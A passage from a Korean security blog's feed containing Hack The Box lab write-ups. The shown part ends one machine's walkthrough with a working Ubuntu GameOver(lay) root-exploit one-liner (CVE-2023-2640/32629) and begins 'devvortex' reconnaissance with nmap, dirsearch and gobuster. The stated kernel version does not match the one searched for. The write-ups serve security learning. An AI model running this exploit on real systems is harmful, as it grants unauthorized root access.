&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;785&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgDt8R/btsEKDTrniJ/nAtxZcdzDfT6l50qIKgxGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgDt8R/btsEKDTrniJ/nAtxZcdzDfT6l50qIKgxGk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgDt8R/btsEKDTrniJ/nAtxZcdzDfT6l50qIKgxGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgDt8R%2FbtsEKDTrniJ%2FnAtxZcdzDfT6l50qIKgxGk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1982&quot; height=&quot;785&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;785&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'user.txt' flag를 확인할 수 있음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 권한 상승&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.1. 'CVE-2023-2640, CVE-2023-32629'를 활용해 권한 상승&lt;/h4&gt;
&lt;pre id=&quot;code_1707898600854&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sudo -l&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;137&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kPHtw/btsERmJCXU6/zDqcOpfXUjaEZ2K88vbVx1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kPHtw/btsERmJCXU6/zDqcOpfXUjaEZ2K88vbVx1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kPHtw/btsERmJCXU6/zDqcOpfXUjaEZ2K88vbVx1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkPHtw%2FbtsERmJCXU6%2FzDqcOpfXUjaEZ2K88vbVx1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1988&quot; height=&quot;137&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;137&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 사용자가 사용할 수 있는 권한을 확인해봤지만 아무런 정보를 얻을 수 없었음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707898617204&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;uname -a&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1986&quot; data-origin-height=&quot;129&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b39YtB/btsEMZhFrnk/QS2BiXJwOxr3O59Q0qotsk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b39YtB/btsEMZhFrnk/QS2BiXJwOxr3O59Q0qotsk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b39YtB/btsEMZhFrnk/QS2BiXJwOxr3O59Q0qotsk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb39YtB%2FbtsEMZhFrnk%2FQS2BiXJwOxr3O59Q0qotsk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1986&quot; height=&quot;129&quot; data-origin-width=&quot;1986&quot; data-origin-height=&quot;129&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;span style=&quot;color: #000000; text-align: left;&quot;&gt; 이는 리눅스 커널을 실행하는 'myhostname' 호스트가 x86_64 아키텍처를 사용하며, 커널 버전은 '4.15.0-96-generic'이고, 빌드 날짜는 'Wed Apr 1 03:25:46 UTC 2020'임 &lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 서버의 모든 시스템 정보를 확인할 수 있음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707898686175&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;6.2.0-25-generic #25~22.04.2-ubuntu privilege escalation vulnerability&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;459&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BlKK2/btsENThlAmg/p1SirimrfTPkvFTwvxOd4k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BlKK2/btsENThlAmg/p1SirimrfTPkvFTwvxOd4k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BlKK2/btsENThlAmg/p1SirimrfTPkvFTwvxOd4k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBlKK2%2FbtsENThlAmg%2Fp1SirimrfTPkvFTwvxOd4k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2000&quot; height=&quot;459&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;459&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 시스템의 권한 상승 취약점을 확인하기 위해 구글링 해봄. 'CVE-2023-2640-CVE-2023-32629'에서 ubuntu 커널의 취약점으로 인한 권한 상승을 할 수 있는 취약점을 찾을 수 있었음.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure id=&quot;og_1707901679395&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - g1vi/CVE-2023-2640-CVE-2023-32629: GameOver(lay) Ubuntu Privilege Escalation&quot; data-og-description=&quot;GameOver(lay) Ubuntu Privilege Escalation. Contribute to g1vi/CVE-2023-2640-CVE-2023-32629 development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629&quot; data-og-url=&quot;https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cfiCy2/hyVjdbUOvk/xnNSr7JDIdCvP6JrVEKHAk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cfiCy2/hyVjdbUOvk/xnNSr7JDIdCvP6JrVEKHAk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - g1vi/CVE-2023-2640-CVE-2023-32629: GameOver(lay) Ubuntu Privilege Escalation&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;GameOver(lay) Ubuntu Privilege Escalation. Contribute to g1vi/CVE-2023-2640-CVE-2023-32629 development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707898718170&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.sh&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2308&quot; data-origin-height=&quot;666&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqaC2a/btsETkRONGa/GaYhXd4Xz0Lr3MniljIGK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqaC2a/btsETkRONGa/GaYhXd4Xz0Lr3MniljIGK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqaC2a/btsETkRONGa/GaYhXd4Xz0Lr3MniljIGK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqaC2a%2FbtsETkRONGa%2FGaYhXd4Xz0Lr3MniljIGK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2308&quot; height=&quot;666&quot; data-origin-width=&quot;2308&quot; data-origin-height=&quot;666&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 시스템 관련 exploit를 삽입해서 권한 상승을 시도해볼거임.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707898786960&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;unshare -rm sh -c &quot;mkdir l u w m &amp;amp;&amp;amp; cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &amp;amp;&amp;amp; touch m/*;&quot; &amp;amp;&amp;amp; u/python3 -c 'import os;os.setuid(0);os.system(&quot;cp /bin/bash /var/tmp/bash &amp;amp;&amp;amp; chmod 4755 /var/tmp/bash &amp;amp;&amp;amp; /var/tmp/bash -p &amp;amp;&amp;amp; rm -rf l m u w /var/tmp/bash&quot;)'&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1830&quot; data-origin-height=&quot;1125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rRuou/btsEP4bGcnw/sCtFHa3li88A93CokPxukK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rRuou/btsEP4bGcnw/sCtFHa3li88A93CokPxukK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rRuou/btsEP4bGcnw/sCtFHa3li88A93CokPxukK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrRuou%2FbtsEP4bGcnw%2FsCtFHa3li88A93CokPxukK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1830&quot; height=&quot;1125&quot; data-origin-width=&quot;1830&quot; data-origin-height=&quot;1125&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마지막으로, 'root.txt' flag를 확인할 수 있음.&lt;/p&gt;</description>
      <category>문제풀이/Hack The Box</category>
      <author>Kwon Oh! JUN</author>
      <guid isPermaLink="true">https://securitystudy.tistory.com/163</guid>
      <comments>https://securitystudy.tistory.com/163#entry163comment</comments>
      <pubDate>Wed, 14 Feb 2024 17:31:48 +0900</pubDate>
    </item>
    <item>
      <title>[Hack The Box] devvortex</title>
      <link>https://securitystudy.tistory.com/162</link>
      <description>&lt;script&gt;
const _0x5eef=['classList','92935nhtnYq','setAttribute','push','innerHTML','getElementById','toLowerCase','tt_adsense_top','another_category','style','//p[contains(text(),\x27[목차여기]\x27)]','1954669aacfHB','div','appendChild','toc-ym','title','forEach','DOMContentLoaded','call','addEventListener','length','insertBefore','firstElementChild','log','27309qNoTHN','62SuwPRc','parentNode','querySelector','revenue_unit_wrap','tagName','23736mMyuUa','singleNodeValue','trim','17723tUfPMr','textContent','1STKGDu','getAttribute','contains','nextSibling','791846eKKEom','createElement','outerText','FIRST_ORDERED_NODE_TYPE','querySelectorAll','72wJWnLP','hasAttribute','669103LLOFBD','toc'];function _0x330c(_0x5d40d0,_0x4afdad){_0x5d40d0=_0x5d40d0-0xec;let _0x5eef71=_0x5eef[_0x5d40d0];return _0x5eef71;}const _0x2078d2=_0x330c;(function(_0xbea334,_0x392453){const _0x2c3076=_0x330c;while(!![]){try{const _0x5a087d=-parseInt(_0x2c3076(0x117))+parseInt(_0x2c3076(0xf7))+parseInt(_0x2c3076(0xfa))+-parseInt(_0x2c3076(0x11a))*-parseInt(_0x2c3076(0xf5))+parseInt(_0x2c3076(0x112))*parseInt(_0x2c3076(0x111))+parseInt(_0x2c3076(0xec))*-parseInt(_0x2c3076(0xf0))+-parseInt(_0x2c3076(0x104));if(_0x5a087d===_0x392453)break;else _0xbea334['push'](_0xbea334['shift']());}catch(_0x47ff63){_0xbea334['push'](_0xbea334['shift']());}}}(_0x5eef,0xea9e9),document[_0x2078d2(0x10c)](_0x2078d2(0x10a),function(){const _0x7eb51e=_0x2078d2;try{const _0x591681=document[_0x7eb51e(0x114)]('.contents_style'),_0x1762f9=document[_0x7eb51e(0xfe)](_0x7eb51e(0x107));if(_0x591681&amp;&amp;!_0x1762f9)htmlTableOfContents();else return![];}catch(_0x250abc){console[_0x7eb51e(0x110)]('');}}));function htmlTableOfContents(_0x4f1c99){const _0x388803=_0x2078d2;var _0x4f1c99=_0x4f1c99||document;const _0x44fb35=document[_0x388803(0xf1)]('div');_0x44fb35[_0x388803(0xfb)]('id',_0x388803(0x107));const _0x2117e2=document['querySelector']('.contents_style');var _0x35e549=_0x388803(0x103),_0x552a33=document['evaluate'](_0x35e549,document,null,XPathResult[_0x388803(0xf3)],null)[_0x388803(0x118)];let _0x407aa0;_0x552a33?(_0x407aa0=_0x552a33,_0x407aa0[_0x388803(0x11b)]='',_0x407aa0[_0x388803(0x106)](_0x44fb35)):(_0x407aa0=_0x2117e2[_0x388803(0x10f)],_0x407aa0['classList'][_0x388803(0xee)](_0x388803(0x100))||_0x407aa0[_0x388803(0xf9)]['contains'](_0x388803(0x115))?_0x2117e2['insertBefore'](_0x44fb35,_0x407aa0[_0x388803(0xef)]):_0x407aa0[_0x388803(0x113)][_0x388803(0x10e)](_0x44fb35,_0x407aa0));const _0x3e06b5=document['getElementById'](_0x388803(0x107)),_0x5ee2f2=[]['slice'][_0x388803(0x10b)](_0x2117e2[_0x388803(0xf4)]('h1,\x20h2,\x20h3,\x20h4,\x20h5,\x20h6')),_0x454032=[];for(i=0x0;i&lt;_0x5ee2f2[_0x388803(0x10d)];i++){if(_0x5ee2f2[i][_0x388803(0xf2)][_0x388803(0x119)]()==='')continue;else{if(_0x5ee2f2[i][_0x388803(0xf9)][_0x388803(0xee)](_0x388803(0x108)))continue;else{if(_0x5ee2f2[i][_0x388803(0x113)]['classList'][_0x388803(0xee)](_0x388803(0x101)))continue;else _0x454032[_0x388803(0xfc)](_0x5ee2f2[i]);}}}_0x454032[_0x388803(0x109)](function(_0x5d97e0,_0x2112a5){const _0x4b3465=_0x388803;var _0x94aa2e=_0x4b3465(0xf8)+_0x2112a5;if(_0x5d97e0[_0x4b3465(0xf6)]('id'))_0x94aa2e=_0x5d97e0[_0x4b3465(0xed)]('id');else _0x5d97e0[_0x4b3465(0xfb)]('id',_0x94aa2e);var _0x34278b=_0x4f1c99[_0x4b3465(0xf1)]('a');_0x34278b[_0x4b3465(0xfb)]('href','#'+_0x94aa2e),_0x34278b['textContent']='•\x20'+_0x5d97e0[_0x4b3465(0x11b)];var _0x118edf=_0x4f1c99[_0x4b3465(0xf1)](_0x4b3465(0x105));_0x118edf[_0x4b3465(0xfb)]('class',_0x5d97e0[_0x4b3465(0x116)][_0x4b3465(0xff)]()),_0x118edf[_0x4b3465(0x106)](_0x34278b),_0x3e06b5[_0x4b3465(0x106)](_0x118edf);});const _0xd72dc='\x0a\x20\x20\x20\x20#toc-ym\x20div.h1\x20{\x20margin-left:\x200em\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div.h2\x20{\x20margin-left:\x200.5em\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div.h3\x20{\x20margin-left:\x201em\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div.h4\x20{\x20margin-left:\x201.5em\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div.h5\x20{\x20margin-left:\x202em\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div.h6\x20{\x20margin-left:\x202.5em\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20#toc-ym\x20{\x0a\x20\x20\x20\x20\x20\x20margin:\x2030px\x200px\x2030px\x200px;\x0a\x20\x20\x20\x20\x20\x20padding:\x2020px\x2020px\x2010px\x2015px;\x0a\x20\x20\x20\x20\x20\x20border:\x201px\x20solid\x20#dadada;\x0a\x20\x20\x20\x20\x20\x20background-color:\x20#ffffff;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym::before\x20{\x0a\x20\x20\x20\x20\x20\x20content:\x20\x22목\x20\x20차\x22;\x0a\x20\x20\x20\x20\x20\x20display:\x20block;\x0a\x20\x20\x20\x20\x20\x20width:\x20120px;\x0a\x20\x20\x20\x20\x20\x20background-color:\x20rgb(255,\x20255,\x20255);\x0a\x20\x20\x20\x20\x20\x20text-align:\x20center;\x0a\x20\x20\x20\x20\x20\x20font-size:\x2018px;\x0a\x20\x20\x20\x20\x20\x20font-weight:\x20bold;\x0a\x20\x20\x20\x20\x20\x20margin:\x20-40px\x20auto\x200px;\x0a\x20\x20\x20\x20\x20\x20padding:\x205px\x200px;\x0a\x20\x20\x20\x20\x20\x20border-width:\x201px;\x0a\x20\x20\x20\x20\x20\x20border-style:\x20solid;\x0a\x20\x20\x20\x20\x20\x20border-color:\x20rgb(218,\x20218,\x20218);\x0a\x20\x20\x20\x20\x20\x20border-image:\x20initial;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div{\x0a\x20\x20\x20\x20\x20\x20margin:\x205px\x200px;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div:first-child{\x0a\x20\x20\x20\x20\x20\x20margin-top:\x2015px;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div:last-child{\x0a\x20\x20\x20\x20\x20\x20margin-bottom:\x2015px;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div\x20a\x20{\x0a\x20\x20\x20\x20\x20\x20text-decoration:\x20none;\x0a\x20\x20\x20\x20\x20\x20color:\x20#337ab7;\x0a\x20\x20\x20\x20\x20\x20transition:\x20all\x20ease\x200.2s;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div\x20a:hover\x20{\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20color:\x20#333333;\x0a\x20\x20\x20\x20\x20\x20background-color:\x20#ecc7ff;\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20/*\x0a\x20\x20\x20\x20.contents_style\x20h3{\x0a\x20\x20\x20\x20\x20\x20margin-bottom:7px;\x0a\x20\x20\x20\x20\x20\x20padding:\x2010px\x2015px;\x0a\x20\x20\x20\x20\x20\x20border-left:\x205px\x20solid\x20#757575;\x0a\x20\x20\x20\x20\x20\x20background-color:\x20#e5e5e5;\x0a\x20\x20\x20\x20\x20\x20font-weight:\x20500;\x0a\x20\x20\x20\x20\x20\x20color:\x20#000000\x20!important;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20*/\x0a\x20\x20\x20\x20',_0x3ed036=document[_0x388803(0xf1)](_0x388803(0x102));_0x3ed036[_0x388803(0xfd)]=_0xd72dc,_0x2117e2[_0x388803(0x10e)](_0x3ed036,_0x407aa0);}
&lt;/script&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 정보 수집&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1.1. nmap를 활용한 스캔&lt;/h4&gt;
&lt;pre id=&quot;code_1707831472809&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;nmap -sV 10.10.11.242 -T5&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1978&quot; data-origin-height=&quot;619&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Gb24f/btsELsjdEht/tBCQ9s2U2hCBA4FE6EqbJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Gb24f/btsELsjdEht/tBCQ9s2U2hCBA4FE6EqbJK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Gb24f/btsELsjdEht/tBCQ9s2U2hCBA4FE6EqbJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGb24f%2FbtsELsjdEht%2FtBCQ9s2U2hCBA4FE6EqbJK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1978&quot; height=&quot;619&quot; data-origin-width=&quot;1978&quot; data-origin-height=&quot;619&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;background-color: #ffffff; color: #5c5c5c; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-style=&quot;style3&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;color: #666666; text-align: center;&quot;&gt;&lt;b&gt;IP Address&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;color: #666666; text-align: center;&quot;&gt;&lt;b&gt;Ports Open&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;color: #666666; text-align: center;&quot;&gt;10.10.11.242&lt;/td&gt;
&lt;td style=&quot;color: #666666; text-align: center;&quot;&gt;TCP: 22, 80&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1.2. 디렉토리와 서브도메인 찾기&lt;/h4&gt;
&lt;pre id=&quot;code_1707831887071&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;dirsearch -u http://devvortex.htb/&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1911&quot; data-origin-height=&quot;943&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OSyDw/btsEGPe9RBb/sPk8SHh19IfEiJv33SIje0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OSyDw/btsEGPe9RBb/sPk8SHh19IfEiJv33SIje0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OSyDw/btsEGPe9RBb/sPk8SHh19IfEiJv33SIje0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOSyDw%2FbtsEGPe9RBb%2FsPk8SHh19IfEiJv33SIje0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1911&quot; height=&quot;943&quot; data-origin-width=&quot;1911&quot; data-origin-height=&quot;943&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #555555; text-align: start;&quot;&gt;dirsearch 도구를 사용해서 웹 사이트에 존재하는 여러가지 디렉터리를 찾았는데 도움이 될만한 정보는 없음.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707832006972&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;gobuster dns -d devvortex.htb -w subdomains-top1million-20000.txt -t 100&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1986&quot; data-origin-height=&quot;745&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPTji2/btsEOUffnPr/uL1fQpgnKiKKQHXSj1Bkuk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPTji2/btsEOUffnPr/uL1fQpgnKiKKQHXSj1Bkuk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPTji2/btsEOUffnPr/uL1fQpgnKiKKQHXSj1Bkuk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPTji2%2FbtsEOUffnPr%2FuL1fQpgnKiKKQHXSj1Bkuk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1986&quot; height=&quot;745&quot; data-origin-width=&quot;1986&quot; data-origin-height=&quot;745&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
